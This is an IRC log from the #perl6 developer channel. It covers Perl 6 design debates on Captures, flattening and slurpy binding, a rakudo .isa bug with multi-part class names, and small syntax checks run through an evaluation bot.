16:22 p6eval rakudo b6640c: OUTPUT«6␤»
16:22 TimToady that should be 3
16:23 TimToady has that bug been reported?
16:23 pmichaud No.
16:23 pmichaud I know that in general we want $a to always be treated as an item scalar, but how are we to detect that internally?
16:23 pmichaud i.e., what is special about the $a := @a binding?
16:24 TimToady nothing is special about the binding
16:24 ruoso TimToady, please take a look at a message I post few hours ago about threading and events...
16:24 TimToady it's that there's nothing at the point of interpolation with the @ nature
16:24 pmichaud would it be true that  $a =:=  @a  ?
16:24 TimToady yes
16:24 pmichaud so how does   [1,2,$a]  differ from [1,2,@a]  ?
16:25 TimToady the second one has the @ nature
16:25 pmichaud and we know that because...?
16:25 pmichaud syntactically?
16:25 ruoso pmichaud, because it goes as argument to infix:<,>
16:25 pmurias ruoso: should capture .FETCH call the .FETCH on the first positional?
16:25 pmurias because in my $foo = sub {my $bar = 1;return $bar;}.(); a container gets stored into $foo
16:25 pmichaud ruoso  but if $a =:= @a,  then infix:<,>  doesn't really see anything different.
16:26 ruoso pmichaud, what I meant is that it isn't different from foo(@a) vs foo($a)
16:26 pmichaud ruoso: right,  but clearly   [1,2,@a].elems should be 6
16:26 ruoso if foo has :(*@args) as signature
16:26 pmichaud while TimToady says   [1,2,$a].elems should be 3
16:26 pmichaud I'm curious what distinguishes the flatten-versus-non-flatten behavior there
16:27 pmichaud (or interpolate-versus-non-interpolate)
16:27 ruoso oh... right...
16:27 ruoso that after $a := @a
16:27 TimToady as with string interpolation, it's syntax
16:27 ruoso (the sigil has to be of use for something...)
16:27 TimToady objects never flatten unless there's something explicit there to do so
16:28 TimToady (we might have to special case .list)
16:28 ruoso TimToady, but does it flatten completely? or just the first level?
16:28 ruoso i.e.:
16:28 TimToady each list is in charge of its own flattening
16:28 ruoso my @a := (1,2,(3,4,(5,6)));
16:28 ruoso $a = [1,2,@a];
16:28 fridim_ joined #perl6
16:28 ruoso how many elements does $a have?
16:28 pmichaud 8.
16:29 moritz_ agreed
16:29 TimToady despite being marked syntactically, flattening is lazy
16:29 TimToady and happens only in list context
16:29 ruoso so infix:<,> is the one doing the flattening there?
16:30 TimToady that is, flattening interpolates a capture rather than an object
16:30 TimToady pmichaud: yes (...) makes a Capture now
16:30 PerlJam so, why 8 and not 5  exactly?  flattening is recursive?
16:30 moritz_ speaking of captures... is my $x = \3; say $$$$x legal?
16:30 TimToady which is why it has the list vs item semantics upon binding
16:31 pmichaud TimToady: so  (1,2,3)  is a Capture with three positionals or one positional?
16:31 ruoso pmichaud, three
16:31 TimToady 3
16:32 ruoso TimToady, when does the flattening occur in [1,2,@a] ?
16:32 TimToady yes, the @ puts its innards into list context
16:32 ruoso is it in infix:<,>, circumfix:<[ ]> or ... ?
16:32 pmichaud it's the @
16:33 ruoso hmm... I don't really see how that happens...
16:33 pmichaud that does make something like   foo(@a,@b)  slightly more challenging, though.
16:33 TimToady more specifically, it turns its Array into a Capture, interpolates that into the argument list, and when that argument list is bound within .[], it flattens because the Capture finds itself in a slurpy
16:33 TimToady [], not .[]
16:33 dukeleto joined #perl6
16:33 ruoso so circumfix:<[ ]> is the one doing the flattening
16:34 pmichaud ruoso: it's not the [ ] that flattens, it's the list context
16:34 ruoso pmichaud, the list context is lazy
16:34 pmichaud arrays flatten in list context
16:34 ruoso pmichaud, it might be or not flattened later
16:34 ruoso depends on the signature
16:34 TimToady which is supplied by []
16:34 pmichaud oh yes, that's correct.
16:35 pmichaud the [ ] supplies the list context, which then does the flattening/interpolation
16:35 pmichaud but I'm still confused as to how the [ ] can distinguish @a versus $a, then
16:35 ruoso it's a *kind of* assignemnt
16:35 TimToady the binding of the slurpy will see either an Array object or a Capture
16:35 pmichaud I guess it's that the compiler converts the @a into a Capture
16:36 TimToady the Array is just an object
16:36 ruoso pmichaud, I guess it's the compiler too
16:36 TimToady objects never flatten without help
16:37 * ruoso trying to figure out how to easily produce a Capture for the Array
16:37 pmichaud the same holds for hashes, as well?  i.e.,   %h  ends up being a Capture ?
16:37 TimToady yeah, that's the fun part
16:37 pmichaud and that capture is a positional list of pairs?
16:39 ruoso TimToady, how that relates with |@foo?
16:39 TimToady well, most efficiently we might have a Capture delegating to an Array or Hash somehow
16:39 TimToady just to avoid extra copying
16:39 ruoso if foo(@bar) already has @bar as a Capture
16:40 ruoso what is the difference to foo(|@bar)
16:40 pmichaud that's why I was asking if (1,2,3) had 1 element or 3 :-)
16:40 TimToady | promotes the @ capture into the arglist's capture
16:40 ruoso right... but...
16:40 TimToady when you say foo(@bar) the @bar is a Capture of Capture
16:41 ruoso so you're saying that the slurpies are the key...
16:41 TimToady er, the arglist is that
16:41 ruoso since slurpies will consume the argslists flattened
16:41 pmichaud so,  foo(@bar, 2)   has an arglist with a Capture of 2 positionals
16:42 pmichaud foo(|@bar, 2)  has an arglist with a Capture of @bar+1 positionals
16:42 TimToady the 1st of which is the Capture holding @bar
16:42 TimToady correct
16:42 ruoso a Capture holding the contents of bar
16:42 ruoso not a Capture with @bar inside
16:43 TimToady well, the latter could be an optimization, sometimes
16:43 TimToady if you can rule out side effects
16:43 Psyche^ joined #perl6
16:43 ruoso not optimization, since it depends on the signature
16:43 ruoso if foo has ($a,$b) as signature
16:43 ruoso it will get @bar into $a
16:43 ruoso and 2 into $b
16:43 TimToady but certainly for @foo = (1,@foo), you'd better not clobber @foo
16:43 pmichaud in the first call, yes.
16:44 ruoso but if the signature has :(*@items)
16:44 pmichaud foo(|@bar, 2)    fails to match   sub foo($a, $b)   if @bar has more/less than 1 element.
16:44 TimToady correct
16:44 ruoso exactly...
16:44 ruoso but if the signature has :(*@items)
16:44 ruoso @items will contain the contents of @bar and 2 flattened
16:44 lambdabot Unknown command, try @list
16:44 pmichaud if the signature is :(*@items),  then   foo(@bar, 2) and foo(|@bar, 2)   are effectively the same.
16:45 ruoso exactly
16:45 ruoso because the slurpy is the thing doing the flattening
16:45 TimToady precisement
16:45 pmichaud right, slurpy imposes list context
16:45 ruoso imposes flattening
16:45 PerlJam I guess foo(@bar,2) having @bar as a capture is how   sub foo ([$head,*$tail], $other) { ... }  would work?
16:45 ruoso list context by itself doesn't mean flattening
16:45 ruoso since the flattening is lazy
16:46 TimToady PerlJam: yes
16:46 ruoso but it wouldn't requre  [ ]
16:46 TimToady there is no list context until binding
16:46 ruoso foo(($head,*$tail), $other) would also work
16:47 pmichaud I'm still unclear as to how hashes get handled in this case
16:47 ruoso TimToady, if the signature is :(@bar) and you do foo( (1,2,(3,4,(5,6))) )... it won't be flattened immediatly
16:48 TimToady except that the @ applies to the insides of @bar as a list context, so maybe it does
16:48 pmichaud my %h = (a=>1, b=>2);    say [3, 4, %h].elems
16:48 TimToady 4, I hope
16:48 cmv joined #perl6
16:49 pmichaud my %h = (a=>1, b=>2);   say %h<a>;
16:49 pmichaud the postcircumfix is performed on ... ?
16:49 pmichaud a Hash or a Capture ?
16:49 TimToady a Hash
16:49 DanielC Why is $/ called like that? It looks like an array. Isn't @/[0] more consistent than $/[0] ?
16:49 TimToady invocants are always objects
16:49 pmichaud so, we only convert @/% to Captures when there's no postcircumfix?
16:49 ruoso we need a syntax mark of when @a and %h are captures
16:50 ruoso looking at the previous [3,4,%h] example
16:50 PerlJam but a Hash or an Array can each be viewed as a Capture that only exposes one interface  (the Capture-ish parts can be elided as an optimization)
16:50 TimToady we only convert to Capture in an argument list, where that includes inside (...)
16:51 TimToady and we only convert top-level nodes within the list
16:51 ruoso sub foo(*@items) {...}; foo(%h);
16:51 pmichaud Just a second while I parse that.
16:51 ruoso sub foo(*%items) {...}; foo(%h);
16:51 TimToady PerlJam: yes, I was suggesting that optimization earlier
16:51 pmichaud ruoso: the second one doesn't match.
16:52 ruoso that sounds inconsistent
16:52 pmichaud (no positional argument)
16:52 pmichaud er, no positional parameter
16:52 ruoso no named, you mean...
16:52 pmichaud no named argument
16:52 ruoso that sounds inconsistent
16:52 pmichaud but it doesn't match because foo() doesn't have a positional parameter to bind to %h
16:53 pmichaud not because there aren't any named arguments
16:53 ruoso ah
16:53 ruoso ok
16:53 pmichaud so,  in   [1,2,%h]     the 1,2,%h is an argument list to circumfix:<[ ]> .   Okay, I can buy that.
16:53 TimToady yes, you'd have to write |%h to get the second to match
16:54 pmichaud and the argument list syntactically checks its top-level nodes for variables with sigils of @ and %
16:54 TimToady I think realistically we can't convert an Array or Hash to a Capture, only to rebind it as a single positional
16:54 TimToady that would be stupid
16:54 TimToady (if it involves copying)
16:55 TimToady and we can't copy it anyway
16:55 pmichaud I don't think it involves copying on our end
16:55 pmichaud I think it's all just bindings
16:55 TimToady because we might want to bind to "is rw"
16:55 pmichaud (i.e., on the Rakudo side it all just looks like a bunch of bindings)
16:55 TimToady but we need a CaptureArray and CaptureHash, or some such
16:55 TimToady which contains the ref to the actual Array or Hash, but knows it can flatten in list context
16:56 ruoso but wouldn't the slurpy look at a higher level?
16:56 pmichaud fwiw, Rakudo currently does "CaptureArray" and "CaptureHash"  as simple references.
16:56 pmichaud they flatten in list context but act like scalars in item context
16:56 ruoso I was considering implementing that as a proxy object
16:57 TimToady then rakudo needs to distinguish [1,2,Array] from [1,2,Capturearray]
16:57 pmichaud right
16:57 TimToady to give 3 vs 6
16:57 pmichaud the tricky part is that the distinction is syntactic -- we weren't doing that before now
16:57 pmichaud our distinction wasn't syntactic
16:57 ruoso and it isn't something that can be done before @a is actually used there
16:58 ruoso since $a := @a doesn't change the object
16:58 TimToady it's only sorta syntactic
16:58 pmichaud what rakudo needs to know to do is to convert   [1,2,@a]  into   [1,2,flattening reference to @a]
16:58 TimToady the latter of which pretends to be a Capture
16:58 * ruoso only sees a proxy object as the solution right now
16:58 pmichaud Yes
16:59 pmichaud essentially our references are "light Captures"
16:59 TimToady but I think this is the right way to do it, because
16:59 TimToady (having though about it all weekend)
16:59 pmichaud the corollary to  Captures being "fat references"  :-)
16:59 TimToady *thought
16:59 TimToady the simple binding and the simple scalar semantics are the normal case
16:59 TimToady and the listy/hashy stuff should be the special case
17:00 TimToady so instead of playing binding games between $ and @, we have to play the games at the use end of $ vs @
17:00 TimToady note that $a.list can still work, even though not syntactically distinguished
17:00 pyrimidine joined #perl6
17:00 pmichaud sure, that's no problem.
17:00 TimToady the .list is syntax, the @ is syntax, but they're still just a run-time operation
17:01 pmichaud okay, that confuses me.
17:01 pmichaud if you mean simply that @ implies a .list, I could go for that.
17:01 TimToady any time you see @a as an argument (not invocant), desugar to @a.list
17:02 TimToady or maybe @a.capture
17:02 TimToady yes
17:02 pmichaud And   @a  would still be considered an argument in something like    @a + 3
17:02 TimToady hmm, and \@a actually desugares to @a :)
17:02 TimToady s/res/rs/
17:03 pmichaud having \@a desugar to @a seems wrongish.
17:03 TimToady pmichaud: yes, those are args
17:03 pmichaud I'll have to work through the ramifications of \@a
17:03 TimToady though arguably in forced item context, so maybe we can skip it
17:04 TimToady pmichaud: maybe that's the deep reason that \ cannot be an operator
17:04 pmichaud well, we don't always know at compile time if   @a + 3  is forced item context, do we?
17:04 ruoso pmichaud, except that you know all the multi variants at compile time
17:04 TimToady I suppose not, though we do know the candidate list at compile time, generally
17:05 TimToady unless some pragma has introduced package multis into the scheme
17:05 TimToady which we don't do by default
17:05 pmichaud so, skipping the .list is an optimization in the case of @a + 3
17:05 TimToady and that's why we don't
17:05 TimToady I think so
17:05 pmichaud with
17:05 pmichaud my @a = 1..5;    for 6,7,\@a { .say }
17:06 pmichaud how many iterations?
17:06 TimToady 3
17:06 eMaX_ joined #perl6
17:06 pmichaud so  \@a doesn't desugar to @a
17:06 TimToady when I say desugar to @a, I mean to the bare object
17:06 pmichaud okay
17:06 TimToady not to the surface form @a
17:07 TimToady call it $@a maybe
17:07 ruoso VAR(@A).FETCH
17:07 ruoso (but FETCH is only used in SMOP, so far)
17:07 ruoso (probably .item
17:08 TimToady in fact, we could even throw out the \@a form and use $@a if we wanted to
17:08 TimToady @a as a scalar
17:08 lambdabot Maybe you meant: activity activity-full admin all-dicts arr ask . ? @ v
17:09 TimToady maybe lambdabot should go jump in a lake
17:09 TimToady since \@a doesn't actually mean to make a capture, but the opposite
17:10 TimToady hmm, and since bare () does captures, we could throw out \ entirely
17:10 pmichaud yes, I was just thinking that.
17:10 TimToady that's kinda wowish
17:10 ruoso TimToady, it might be relevant to notice that I always explained \ as "enclosing the capture in a scalar"
17:11 pmichaud does this mean that  (3)  is now a Capture?
17:11 ruoso yes...
17:11 TimToady sure, but turns into 3 in item context
17:11 ruoso but single-item captures return the item in item context
17:11 ruoso but... should it be recursive?
17:11 pmichaud seems expensive to be construction/deconstructing captures.
17:11 pmichaud *constructing
17:12 pmichaud and I'm not sure how much optimization we get here
17:12 ruoso sub foo { return (((((((3))))))) }; my $a = foo();
17:12 TimToady well, for (3) itself we can strip them at compile time
17:12 pmichaud (3 + foo())
17:12 TimToady since 3 is the same value in list context
17:12 TimToady the capture returned by foo cannot be reduced without knowledge
17:13 pmichaud right
17:13 TimToady such as the declared return value of foo
17:13 TimToady (or of all the foo candidates, taken togethre)
17:13 TimToady er
17:14 pmichaud where does Capture fall in the role/object class "hierarchy" ?
17:14 TimToady but again it boils down to optimizability depends on knowing all the candidates at compile time
17:14 pmichaud or do we never actually see a Capture ?
17:14 ruoso TimToady, in the (((3))) example above... does 3 get extracted recursively?
17:14 TimToady not sure it does
17:14 TimToady ruoso: presumably
17:14 ruoso so the Capture DWIM is recursive
17:15 pmichaud in my thinking about them, it's seemed more and more to me as though Captures are invisible internal constructs rather than things that make themselves felt at the object level
17:15 TimToady they're more like junctions that way, yes
17:15 ruoso pmichaud, for the regular user, they won't ever be visible for sure
17:15 pmichaud in that sense, they feel like "phlogiston" to me
17:16 pmichaud i.e., we use them to explain things that are really something else
17:16 TimToady they are QM
17:16 TimToady entangle these arguments as a unit
17:16 pmichaud QM I could agree with.
17:16 ruoso QM as in Quantum Mechanics?
17:16 TimToady and again, like junctions that way
17:16 TimToady QM is all about lazy evaluation :)
17:16 skids sub foo { for (1..5) { ... } }; foo(); # <-- capture, but lazy?  I'm unclear as to the lazy status of Capture is all
17:17 TimToady or lazy context
17:17 pmichaud skids: in that example, the loop does execute all 5 iterations before returning, yes.
17:17 ruoso skids, Capture is as lazy as you get...
17:18 TimToady statements are observations, aka, sequence points
17:18 TimToady they cause collapse
17:18 TimToady but more directly, bindings cause collapse of captures
17:18 TimToady we could rename captures to tangles :)
17:19 pmichaud tangles +0.5
17:19 TimToady to avoid confusion with match capture
17:19 PerlJam because when you're messing with them, that's how you feel: tangled.
17:19 moritz_ what would we gain from a rename?
17:19 ruoso TimToady, I'm not sure you can remove the confusion
17:20 ruoso since you can use match capture as arglist
17:20 ruoso that's how Faz works
17:20 pmichaud but even there, it's based on the hash/list aspect of match, yes?
17:20 pmichaud not the match itself as a capture
17:21 skids http://sial.org/pbot/36837 # then, am I off the rails somehow, or does this need thought?
17:21 skids (not saying to think about it now, but...)
17:21 pmichaud I think the biggest gain from a rename is that the word "capture" doesn't really (pardon pun) capture the sense of what it's doing.
17:22 pyrimidine Does 'tangle' work better?
17:23 pmichaud I think 'arglist' might be most appropriate
17:23 pmichaud since we typically talk about binding to signatures
17:23 pmichaud ($a, $b, $c)    is now an argument list
17:23 pmichaud there is also the question as to when List appears now.
17:24 pmichaud i.e., do we have a List type?
17:24 pmichaud and is it distinct from Capture?
17:25 explorer joined #perl6
17:25 pmichaud or is a List just  a Capture with no named arguments?
17:25 TimToady yesterday I was thinking that List would probably go away
17:25 pmichaud Perhaps List is actually Capture, and the existing List/Mapping go away.
17:25 TimToady not Mapping
17:25 TimToady that's different
17:25 pmichaud and what we bind to a signature is a List
17:26 TimToady Mapping is pairs, but in the positional slots
17:26 pmichaud okay
17:26 TimToady a capture is a stream of in-band values with a set of out-of-band metadata
17:26 pmichaud I guess I'm arguing that what we call a "List"  should be that.
17:26 TimToady in those terms, the Mapping's pairs are in-band
17:27 pmichaud but I guess that messes up things like   (1, 2, :a, :b)
17:27 pmichaud because that should have 4 elements.
17:27 meppl joined #perl6
17:27 PerlJam If you call it a Tangle, we can segue into some Bob Dylan songs fairly easily  ;)
17:28 skids How about a Spooky? :-)
17:28 TimToady I've always thought the named args should behave as positional until they find themselves in a binding context
17:28 pmichaud that could help with things like     say 1, 2, :a, :b
17:29 TimToady maybe
17:29 pmichaud (more)
17:29 jnthn pmichaud: Going for dinner now, but http://gist.github.com/118766 shows you where my refactor currenlty stands in terms of the tests.
17:30 pmichaud also,  if we have to be sensitive to syntax  for things like   1,2,@a,@b   versus 1,2,$a,$b  already, it doesn't seem too far a leap to have to do the same for 1,2,:a,:b
17:31 TimToady we're already sensitive to whether a pair might be named or not
17:31 pmichaud exactly
17:31 pmichaud it seems like there should be a unification here
17:31 pmichaud as we have to be sensitive to whether a variable is array/scalar/hash in an arglist
17:31 TimToady what we're adding back is the ability to be lazy about whether the list is bound somewhere that wants named args
17:31 TimToady and keep them as positional if not
17:32 pmichaud so, what we seem to end up with is something that is strictly List (of positionals), but there's a way to affect it's binding
17:32 pmichaud *its
17:32 TimToady if we do away with List, we could shorten arglist to list, and just say that a list can contain pairs that, it some circumstances, can be harvested as out-of-band metadata
17:33 pmichaud just as it can contain arrays/hashes that, in some circumstances, interpolate/flatten in a list context?
17:33 TimToady where we know with a function call or listop, that this is going to happen
17:34 PerlJam calling it a list seems somewhat like a lie IMHO.  lists are simple things, these things are more complicated
17:34 TimToady but arglist is ugly
17:34 pmichaud PerlJam: what TimToady describes remains very simple at present.
17:34 skids arglist--
17:34 pmichaud the complication isn't in the list itself, but in the way it responds to binding
17:35 TimToady and the design issue is how soon we can optimize out the named arguments so they don't have to be harvested on every call from the positional list
17:35 TimToady that must happen at compile time in most cases
17:36 TimToady and can probably continue with the same distinction we already use for that
17:36 TimToady so that (...) hides named args
17:36 TimToady and leaves them positional
17:37 TimToady but we might have to special case Mapping
17:37 TimToady maybe not
17:37 TimToady biab &
17:43 payload joined #perl6
17:46 ruoso TimToady, just beware that if you modify that in Capture, I'm going to need to go through another huge refactoring in SMOP similar to the one I just finished...
17:46 TimToady does your capture have any way to reconstruct the original argument order?
17:46 ruoso no
17:48 skids ruoso: well, at least you could refactor back from re-smop to smop :-)
17:49 pmichaud ruoso: well, Rakudo is already going to have to do a significant refactoring as well :-|
17:49 TimToady perhaps we can just say that if we find our capture in a context that wants the pairs as positional, you get them, but in a random order.
17:49 jferrero joined #perl6
17:50 TimToady maybe that plus syntactic differentiation will be enough
17:50 pmichaud from a Parrot perspective, "pairs in random order" is likely to be helpful
17:50 TimToady i.e. if you want to preserve your pair order, just put your pairs in an extra (...)
17:51 TimToady then they become positionals that interpolate into the outer list
17:51 TimToady otherwise we assume that pairs are out-of-band, and if forced back in, are random
17:52 TimToady that's very close to what we have now
17:52 * skids trying to see how that falls out, but is totally lost, so don't bother explaining.
17:52 PerlJam skids: if you pay attention to the conversations more often, you'll find yourself totally lost more often  :)
17:52 TimToady it's exactly what we have now, plus the ability to tell a capture to turn everything positional, include things it thought were named
17:53 skids PerlJam: oh and here I was thinking the problem was I kept missing conversations :-)
17:53 ruoso TimToady, please... an explicit way to extract the named as positionals looks much better
17:53 PerlJam TimToady: the only syntactic help is an extra set of parens?
17:54 TimToady it differentiates on whether it knows it's an arglist to a function
17:54 TimToady as it does currently
17:54 pmichaud I still kinda wish it were powerful enough to handle the @a versus $a distinction
17:55 pmichaud constructing capture wrappers around @a in an arglist feels funny to me.  Maybe I just need to play with the code a bit.
17:55 pmichaud although turning (foo()) into a capture of a capture feels funny to me too
17:56 TimToady no "turning"; the arglist is already a capture, and the return value is already a capture
17:56 DemoFreak joined #perl6
17:58 TimToady but if you know you're in item context, you can strip the outer (), since the inside is an item (capture)
18:02 ruoso TimToady, yes... currently the "arglist" status is very clear...
18:03 ruoso pmichaud, the power on @a vs $a is not on the arglist, but on the slurpy
18:04 pmichaud ruoso: I disagree.
18:04 pmichaud the only difference enumerated thus far between @a and $a is syntactic in an arglist.
18:06 TimToady hmm, not sure
18:06 ruoso pmichaud, is syntatic "when not the invocant"
18:06 japhb joined #perl6
18:06 pmichaud ruose: No.
18:07 ruoso TimToady, ?
18:07 TimToady if @a desugars to $@a.list everywhere, and item context (read "invocant") strips off the .list
18:07 pmichaud my @a = 1,2,3,4;   my $a := @a;   say [5,6,@a].elems;   say [5,6,$a].elems
18:08 pmichaud note that in this example, neither @a nor $a are invocants.
18:08 pmichaud yet they produce different answers.
18:08 TimToady my @a = 1,2,3,4; my $a := @a.capturize; say [5,6,@a.capturize].elems; say [5,6,$a].elems is the desugar
18:09 ruoso TimToady, that would mean that $a is a capture
18:09 ruoso and therefore it would be flattened
18:09 skids std: :(Int $a, Str $b)|:(Str $b, Int $a) = (0,"HAI");
18:09 TimToady no
18:09 p6eval std 26946: OUTPUT«ok 00:04 40m␤»
18:09 ruoso TimToady, my $a := @a.capturize;
18:10 TimToady binding a capture to a scalar pulls out the Array object
18:10 TimToady it's singular, there's one item in the capture, an Array
18:10 pmichaud ("captures are invisible")
18:11 TimToady you can't bind a naked capture without special notation in the sig
18:12 * ruoso parsing...
18:12 TimToady my (|$a) := @a.capturize would bind the capture
18:13 REPLeffect joined #perl6
18:13 TimToady or something like that
18:13 ruoso right...right...
18:14 ruoso but...
18:14 ruoso that would mean that...
18:15 ruoso my @a := (3,); my (|$a) := @a; $a.WHAT would be Int
18:16 * ruoso EOUTOFCOFEE
18:16 skids E'caf
18:16 TimToady you're just E'd
18:17 kidd joined #perl6
18:20 justatheory_ joined #perl6
18:21 pyrimidine I'm having problems with .isa
18:21 TimToady 3, is really 3,Nil, so doesn't itemize
18:21 pyrimidine rakudo: class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; $x.isa('A').say; $x.isa('A::B').say; $x.isa('A::B::C').say; $x.WHAT.say;
18:21 p6eval rakudo b6640c: OUTPUT«1␤0␤0␤A::B::C()␤»
18:21 pyrimidine pugs: class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; $x.isa('A').say; $x.isa('A::B').say; $x.isa('A::B::C').say; $x.WHAT.say;
18:21 p6eval pugs: OUTPUT«1␤1␤1␤A::B::C␤»
18:22 pyrimidine should I go ahead and file rakudobug?
18:23 TimToady looks like it
18:23 TimToady what does ~~ say?
18:24 skids loose end from change to classes .perl as Classname(), probably.
18:24 TimToady rakudo: class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; say $x ~~ A; say $x ~~ A::B; say $x ~~ A::B::C
18:24 p6eval rakudo b6640c: OUTPUT«1␤1␤1␤»
18:24 pmichaud try   $x.isa(A::B)   instead of $x.isa('A::B')
18:24 TimToady ah, missed that
18:24 pmichaud I don't think Rakudo understands multi-component string arguments to .isa yet
18:25 pmichaud (I don't know if it should, either)
18:25 TimToady one of those places where we should allow sigs to differentiate abstract from concrete args
18:25 pyrimidine rakudo: class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; ($x ~~ A).say; ($x ~~ A::B).say; ($x ~~ A::B::C).say
18:25 p6eval rakudo b6640c: OUTPUT«1␤1␤1␤»
18:25 TimToady .ACCEPTS being another one of those
18:26 pmichaud class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; $x.isa('A').say; $x.isa('A::B').say; $x.isa('A::B::C').say;  $x.WHAT.say;
18:26 pmichaud rakudo: class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; $x.isa(A).say; $x.isa(A::B).say; $x.isa(A::B::C).say;  $x.WHAT.say;
18:26 p6eval rakudo b6640c: OUTPUT«1␤1␤1␤A::B::C()␤»
18:27 pyrimidine beat me to it
18:28 TimToady funny that it did 1 0 0; you'd think it should be 0 0 0
18:28 TimToady or 1 1 1
18:28 pyrimidine yes
18:28 pyrimidine and it did work at one point
18:28 pyrimidine (at least in my local test suite)
18:28 TimToady presumably a fossil of when parrot was considering all type names to be strings
18:29 pmichaud pyrimidine: did it work with multi-component names?  Note that the   $x.isa('A')  case worked.
18:29 pmichaud but $x.isa('A::B') does not
18:29 pyrimidine It did work previously, yes
18:29 pyrimidine (updating to latest rakudo broke it)
18:30 pmichaud okay.  If we can get "official declaration" that string arguments to .isa should be parsed/treated as typenames, we can likely implement it.
18:30 TimToady rakudo: class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; say $x.isa(::('A::B::C'))
18:30 p6eval rakudo b6640c: OUTPUT«0␤»
18:30 pmichaud rakudo doesn't know namespace interpolation yet (sorry)
18:30 TimToady that one *should* work in any case
18:31 pmichaud yes, I agree it should work.
18:31 pyrimidine pugs: class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; say $x.isa(::('A::B::C'))
18:31 p6eval pugs: OUTPUT«1␤»
18:31 pyrimidine not that pugs is always correct...
18:32 pyrimidine pugs: class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; $x.isa('A').say; $x.isa('A::B').say; $x.isa('A::B::C').say;  $x.WHAT.say;
18:32 p6eval pugs: OUTPUT«1␤1␤1␤A::B::C␤»
18:32 TimToady shower &
18:35 rjbs left #perl6
18:38 azawawi joined #perl6
18:38 ejs joined #perl6
18:38 azawawi hi
18:39 iblechbot joined #perl6
18:41 azawawi pmichaud: hi. any update on RT #65994?
18:41 azawawi std: my $foo = 0o7;
18:41 p6eval std 26946: OUTPUT«ok 00:02 36m␤»
18:42 azawawi std: my $foo = 00o7;
18:42 p6eval std 26946: OUTPUT«Can't call method "cursor_fresh" on an undefined value at STD.pm line 40804.␤FAILED 00:02 36m␤»
18:42 azawawi std: my $foo = 0x7;
18:42 PerlJam no fresh cursors for you!
18:42 p6eval std 26946: OUTPUT«ok 00:02 36m␤»
18:42 azawawi PerlJam: :)
18:42 azawawi rakudo: my $foo = 00o00;
18:43 p6eval rakudo b6640c: OUTPUT«Leading 0 does not indicate octal in Perl 6␤Syntax error at line 2, near "my $foo = "␤in Main (src/gen_setting.pm:0)␤»
18:43 azawawi rakudo: my $foo = 0o00;
18:43 p6eval rakudo b6640c:  ( no output )
18:43 abra joined #perl6
18:44 azawawi it seems that rakudo handles that situation in a better than STD
18:46 PerlJam I don't know what your criteria are for better, but STD seems to be doing the right thing and rakudo not :)
18:48 pmichaud STD is right there?!?
18:48 * pmichaud hopes PerlJam had STD/rakudo swapped in his last statement.
18:48 azawawi PerlJam: i meant the cryptic error message in std...
18:48 PerlJam STD is part of the spec ;-)
18:49 * azawawi scratches his head...
18:50 PerlJam (I'll try not to be so subtle next time  :)
18:50 pmurias joined #perl6
18:51 pmichaud afk for a bit
18:53 LadyLuna1y joined #perl6
18:58 Avada joined #perl6
19:01 pugs_svn r26947 | pmurias++ | [re-smop] capture.FETCH calls .FETCH on the only invocant
19:09 azawawi joined #perl6
19:14 pmurias ruoso: ^!instanceof is a calculated property?
19:15 ruoso yes...
19:15 ruoso if the object has no meta definition and a "isa", it "instanceof" that thing
19:15 ruoso if, otoh, it has any other meta definition
19:15 ruoso it is an "instanceof" itself
19:19 pmurias isn't instanceof a bit unnecessary as the metaclass instance can calculate instanceof with having that method in the repr?
19:20 donaldh joined #perl6
19:21 ruoso pmurias, maybe... but I guess that would allow a more terse definition of the REPR API...
19:21 ruoso I mean...
19:21 exodist joined #perl6
19:21 ruoso a REPR that doesn't support any meta definition would benefit from .^!instanceof
19:22 ruoso (i.e.: representations from object systems that have different structures for instances and classes
19:29 davidad joined #perl6
19:33 sjohnson rakudo:  my %hash; my $str; for (1 .. 20) { %hash{$_} = 1; } foreach (keys(%hash)) { $str .= "$_ "; } print "$str\n";
19:33 p6eval rakudo b6640c: OUTPUT«Statement not terminated properly at line 2, near "foreach (k"␤in Main (src/gen_setting.pm:0)␤»
19:34 sjohnson :(
19:34 pmichaud "for", not "foreach"
19:34 ZuLuuuuuu joined #perl6
19:35 sjohnson rakudo:  my %hash; my $str; for (1 .. 20) { %hash{$_} = 1; } for (keys(%hash)) { $str .= "$_ "; } print "$str\n";
19:35 p6eval rakudo b6640c: OUTPUT«.= must have a call on the right hand side at line 2, near " .= \"$_ \";"␤in Main (src/gen_setting.pm:2553)␤»
19:35 pmichaud ~= , not .=
19:35 sjohnson rakudo:  my %hash; my $str; for (1 .. 20) { %hash{$_} = 1; } for (keys(%hash)) { $str ~= "$_ "; } print "$str\n";
19:35 p6eval rakudo b6640c: OUTPUT«Statement not terminated properly at line 2, near "print \"$st"␤in Main (src/gen_setting.pm:0)␤»
19:35 pmichaud need a semi
19:35 pmichaud after closing braces
19:35 sjohnson rakudo:  my %hash; my $str; for (1 .. 20) { %hash{$_} = 1; } for (keys(%hash)) { $str ~= "$_ "; }; print "$str\n";
19:35 p6eval rakudo b6640c: OUTPUT«1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ␤»
19:36 sjohnson yes!!!!
19:36 pmichaud still missing a semi
19:36 sjohnson seems to work?
19:36 pmichaud yes, I'm not quite sure about that part.
19:36 pmichaud std: my %hash; my $str; for (1 .. 20) { %hash{$_} = 1; } for (keys(%hash)) { $str ~= "$_ "; }; print "$str\n";
19:36 p6eval std 26947:  ( no output )
19:36 pmichaud ....."no output"?!
19:38 sjohnson i hope my basic rakudo commands are helping the development of Perl 6 in some way
19:39 moritz_ "no output" usually means that somethings' wrong on the server
19:40 pmichaud right, I'm surprised that STD gave me that, though.
19:40 * sjohnson panics
19:40 mizioumt joined #perl6
19:40 moritz_ std: 1
19:40 p6eval std 26947: OUTPUT«ok 00:02 35m␤»
19:42 sjohnson i broke the compiler
19:43 explorer__ joined #perl6
19:43 pmichaud compiler's broke, we might as well quit.  :-)
19:44 explorer__ joined #perl6
19:47 DanielC Why is $/ called like that? It looks like an array. Isn't @/[0] more consistent than $/[0] ?
